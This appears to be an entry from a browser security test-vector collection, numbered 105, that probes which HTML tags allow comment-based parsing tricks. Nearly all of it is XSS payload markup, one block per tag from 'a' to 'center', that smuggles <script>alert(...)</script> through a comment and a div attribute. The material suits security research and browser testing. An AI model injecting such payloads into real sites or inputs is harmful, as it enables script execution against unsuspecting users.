105
106
105This vector attempts to show which HTML tags support HTML comments.
<$[data1]><!-- </$[data1]> <div id="--><script>log('$[data1]')</script>"></div> --><a><!-- </a> <div id="--><script>alert('a')</script>"></div> --><abbr><!-- </abbr> <div id="--><script>alert('abbr')</script>"></div> --><acronym><!-- </acronym> <div id="--><script>alert('acronym')</script>"></div> --><address><!-- </address> <div id="--><script>alert('address')</script>"></div> --><area><!-- </area> <div id="--><script>alert('area')</script>"></div> --><article><!-- </article> <div id="--><script>alert('article')</script>"></div> --><aside><!-- </aside> <div id="--><script>alert('aside')</script>"></div> --><audio><!-- </audio> <div id="--><script>alert('audio')</script>"></div> --><b><!-- </b> <div id="--><script>alert('b')</script>"></div> --><base><!-- </base> <div id="--><script>alert('base')</script>"></div> --><bdi><!-- </bdi> <div id="--><script>alert('bdi')</script>"></div> --><bdo><!-- </bdo> <div id="--><script>alert('bdo')</script>"></div> --><big><!-- </big> <div id="--><script>alert('big')</script>"></div> --><blockquote><!-- </blockquote> <div id="--><script>alert('blockquote')</script>"></div> --><body><!-- </body> <div id="--><script>alert('body')</script>"></div> --><br><!-- </br> <div id="--><script>alert('br')</script>"></div> --><button><!-- </button> <div id="--><script>alert('button')</script>"></div> --><canvas><!-- </canvas> <div id="--><script>alert('canvas')</script>"></div> --><caption><!-- </caption> <div id="--><script>alert('caption')</script>"></div> --><center><!-- </center> <div id="--><script>alert('center')</script>"></div> -->